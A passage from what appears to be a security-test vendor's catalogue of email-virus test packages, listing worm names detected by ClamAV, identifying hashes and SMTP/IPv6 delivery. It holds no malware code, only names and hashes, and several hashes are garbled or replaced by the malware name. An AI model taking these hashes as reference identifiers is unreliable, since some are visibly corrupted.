Detailed Description:	This is the email virus Email-Worm.Win32.Anap.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anap.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mimail.J.0d8a08fb_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.J (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d8a08fb0b8f6663b7e6a22e9e1be29. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Sdan.C.d2e41848.xml
Executive Description:	Email Virus Worm.VBS.Sdan.C
Detailed Description:	This is the email virus Worm.VBS.Sdan.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2e41848cb6696f91ldfe95c7b6033a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kelino.A.cd7cf3f0.xml
Executive Description:	Email Virus Worm.Kelino.A

Detailed Description:	This is the email virus Worm.Kelino.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cd7cf3f0f4dd649ce57df0d7b7fab34c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.35af9e51_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35af9e5184a02b0e39f8ee55d5ea0346. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ecopic.eco.add7ad76.xml
Executive Description:	Email Virus Email-Worm.Win32.Ecopic.eco
Detailed Description:	This is the email virus Email-Worm.Win32.Ecopic.eco as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ecopic.eco. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BWG.C.2e728958_IPv6.xml
Executive Description:	Email Virus Worm.BWG.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e728958bf1a78054543abl287933ddc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.d123b9ac.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d123b9acc88e6b9154202227658e737f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.GMetaphase.6clcf55_IPv6.xml
Executive Description:	Email Virus W32.GMetaphase (IPv6 Version)
Detailed Description:	This is the email virus W32.GMetaphase as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6clcf55c4c26fcfb83e2dcbb9a42e89. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.14726762.xml
Executive Description:	Email Virus Worm.Yarner.D
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14726762844fld3ede205b2eabf9dbf8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sint.9457158a_IPv6.xml
Executive Description:	Email Virus Worm.Sint (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sint as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9457158ad9955af10c3922574b35bf32. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lafon.d.d.1080bf86_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lafon.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lafon.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lafon.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.ci.52b8f283_IPv6.xml
Executive Description:	Email Virus Worm.Lee.ci (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.ci as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b8f283b9f62df8d8b0b4c877068601. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.55.85f11213.xml
Executive Description:	Email Virus Worm.Sonic.55
Detailed Description:	This is the email virus Worm.Sonic.55 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85f11213994c9d95beldaefdee565163. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.VBSWG.aa.aa.292c4794.xml

Executive Description:	Email Virus Email-Worm.VBS.VBSWG.aa.aa
Detailed Description:	This is the email virus Email-Worm.VBS.VBSWG.aa.aa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.VBSWG.aa.aa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Logic.b.b.01208271.xml
Executive Description:	Email Virus Email-Worm.VBS.Logic.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Logic.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Logic.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.055697d6.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 055697d68b3278441a3dc863ec4fce59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.533fe353_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 533fe35372e5660c7535a216e73cd0b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fintas.a.a503f729.xml
Executive Description:	Email Virus Worm.Fintas.a
Detailed Description:	This is the email virus Worm.Fintas.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a503f72989f440db5d9d274f048a3d6c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.F.d39fe366_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sobig.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d39fe3661843d69fbb9bb9b4264a24. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.68b13c38_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68b13c38e72cb978397d456824db4fb1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Ypsan.b.b.12592fae.xml
Executive Description:	Email Virus Email-Worm.VBS.Ypsan.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Ypsan.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Ypsan.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBSWG.ac.d4956efc_IPv6.xml
Executive Description:	Email Virus Worm.VBSWG.ac (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBSWG.ac as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4956efc0253b4089f9610fa240c52ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.ak.ak.be817e4a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.ak.ak (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.ak.ak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.ak.ak. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lacro.A.3f539f31.xml
Executive Description:	Email Virus Worm.Lacro.A
Detailed Description:	This is the email virus Worm.Lacro.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f539f312c5ab8f219a838808eb3ddce. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.GOP.A.44882f5b_IPv6.xml
Executive Description:	Email Virus Worm.GOP.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.GOP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 44882f5b23ea6e56b82b8622eed9337a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.h.h.dcd7089c.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.VB.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.25ef8d05_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 25ef8d05728dd13a8c0dc90fad9bd81d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.N.895d5751.xml
Executive Description:	Email Virus Worm.Bagle.N
Detailed Description:	This is the email virus Worm.Bagle.N as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 895d5751fd254d86420640392608e10d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DG.837708e2.xml
Executive Description:	Email Virus Worm.LoveLetter.DG
Detailed Description:	This is the email virus Worm.LoveLetter.DG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 837708e2617938c65fea5032d424c48b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.1.1.5465177d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.1.1 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.1.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.1.1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Batzback.c.1b9eb196.xml
Executive Description:	Email Virus Worm.Batzback.c
Detailed Description:	This is the email virus Worm.Batzback.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1b9eb19619c4c67653158e0136b764f7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Heidi.33a4b865.xml
Executive Description:	Email Virus W32.Heidi
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 33a4b865b753d5f069ea4037b84298b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trillissa.D.17c39533_IPv6.xml
Executive Description:	Email Virus Worm.Trillissa.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trillissa.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c395331b882460b5c7f08d81c7b0e4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.65b6f958.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65b6f958f61f9255ebac1062f577d4dc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.m.m.5f9bd12f.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.m.m
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.m.m as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.m.m. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.VBS.Breeder.caeb734b_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Breeder (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Breeder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: caeb734b79391ce53f654951db868efc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.c.c.4fc73573_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.dll.dll.3c584e88.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.dll.dll
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.dll.dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.dll.dll. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.f298be77_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f298be77b569c772ebf0316f5dd3126b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.h.h.86883930_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gaggl.D.97d9f0fc_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97d9f0fc1632bce02d58171861232e0f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.c.c.b0db94c1_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.b.b.b311f402.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.PonyExpress.fel5c8b0_IPv6.xml
Executive Description:	Email Virus Worm.PonyExpress (IPv6 Version)
Detailed Description:	This is the email virus Worm.PonyExpress as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fel5c8b04adda5372e2fb52b7593fc87. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.H.47cc271e.xml
Executive Description:	Email Virus Worm.Mydoom.H
Detailed Description:	This is the email virus Worm.Mydoom.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47cc271e765e6cdf0562e692ce805b35. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.e.e.4f874b0b.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Cuerto.53f9d81f.xml
Executive Description:	Email Virus Worm.Cuerto
Detailed Description:	This is the email virus Worm.Cuerto as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f9d81f3fc621bfc336a5549ebe7398. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sowsat.F.f7db1120.xml
Executive Description:	Email Virus Worm.Sowsat.F
Detailed Description:	This is the email virus Worm.Sowsat.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7db1120fb96912faaaale8d2defbeeb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.MailTest.20b49737.xml
Executive Description:	Email Virus VBS.MailTest
Detailed Description:	This is the email virus VBS.MailTest as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20b49737d7206cee3f4971910fel4745. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.f7925c05.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7925c052ebc4d0978679f457dfbb438. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.dra.3d0ac91a.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.dra
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.dra. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lynder.b9fb4176_IPv6.xml
Executive Description:	Email Virus Worm.Lynder (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lynder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9fb4176489b0affb5b3f72a39618620. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Actem.act.0355dccc9.xml
Executive Description:	Email Virus Email-Worm.Win32.Actem.act
Detailed Description:	This is the email virus Email-Worm.Win32.Actem.act as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Actem.act. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zokrim.c.c.03063822.xml
Executive Description:	Email Virus Email-Worm.Win32.Zokrim.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Zokrim.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zokrim.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W98.Hybris.E.d8c4307d.xml
Executive Description:	Email Virus W98.Hybris.E
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8c4307da5901f19ddbc0e04f22a065d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heads.hea.971eel3b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Heads.hea (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Heads.hea as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heads.hea. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hawawi.B.816028ed_IPv6.xml
Executive Description:	Email Virus Worm.Hawawi.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hawawi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 816028eda7cfb31584888b6fa55becbf. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Repah.a.3b7622cc.xml
Executive Description:	Email Virus Worm.Repah.a
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3b7622cc2d22f974db01d10b6048ea0f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.97a21219_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97a2121937275c4d1d95a615afa69b74. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Propec.B.f32a0ced.xml
Executive Description:	Email Virus Worm.Propec.B
Detailed Description:	This is the email virus Worm.Propec.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f32a0ced79de0b18d2d269f14eacfb4e1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BDS.Griffin.Srv.7cb4da70.xml
Executive Description:	Email Virus BDS.Griffin.Srv
Detailed Description:	This is the email virus BDS.Griffin.Srv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7cb4da70100ec5a8cab001d3e66ebfab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Nobelman.A.967d561b.xml
Executive Description:	Email Virus VBS.Nobelman.A
Detailed Description:	This is the email virus VBS.Nobelman.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 967d561b178564aae1604658987ac213. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.6f49434d_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f49434d7e4532520372a4721a7a9aec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.78f6c62a_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78f6c62afclba55388deb3aca220e5e5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.b.b.819bfb77_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spam.Brief.d94551fc_IPv6.xml
Executive Description:	Email Virus Worm.Spam.Brief (IPv6 Version)
Detailed Description:	This is the email virus Worm.Spam.Brief as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d94551fcb68fbc72d8f513299da8afa8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nohoper.A.8c067312.xml
Executive Description:	Email Virus Worm.Nohoper.A
Detailed Description:	This is the email virus Worm.Nohoper.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8c06731243d8cca5fbee4285693ed837. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.7ce9e947_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A (IPv6 Version)

Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ce9e947b1d4e19eb2bebbf65ae27fee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.Ioana.A.e951c265.xml
Executive Description:	Email Virus Worm.BAT.Ioana.A
Detailed Description:	This is the email virus Worm.BAT.Ioana.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e951c265d6362769b94f669eb578e3f9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.NewPic.Choke.5de107c0_IPv6.xml
Executive Description:	Email Virus Worm.NewPic.Choke (IPv6 Version)
Detailed Description:	This is the email virus Worm.NewPic.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de107c014ale52dc609907c62e31522. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bridex.b.b.7bfc3642_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Bridex.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Bridex.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bridex.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Clown.a.f46aelf9.xml
Executive Description:	Email Virus Worm.Clown.a
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f46aelf9343581271dalle814935d772. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Longbe.A.4dc49e97_IPv6.xml
Executive Description:	Email Virus Worm.Longbe.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Longbe.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dc49e978b520968e59b9a272538c131. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neight.nei.f2f85781_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Neight.nei (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Neight.nei as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neight.nei. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SLight.fla90278_IPv6.xml
Executive Description:	Email Virus Worm.SLight (IPv6 Version)
Detailed Description:	This is the email virus Worm.SLight as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fla90278a75cf8c17ac2a43f91284bf6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.d2f827d0.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2f827d06adf956ba38c626d492a13b6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kondrik.b.575c9073.xml
Executive Description:	Email Virus Worm.Kondrik.b
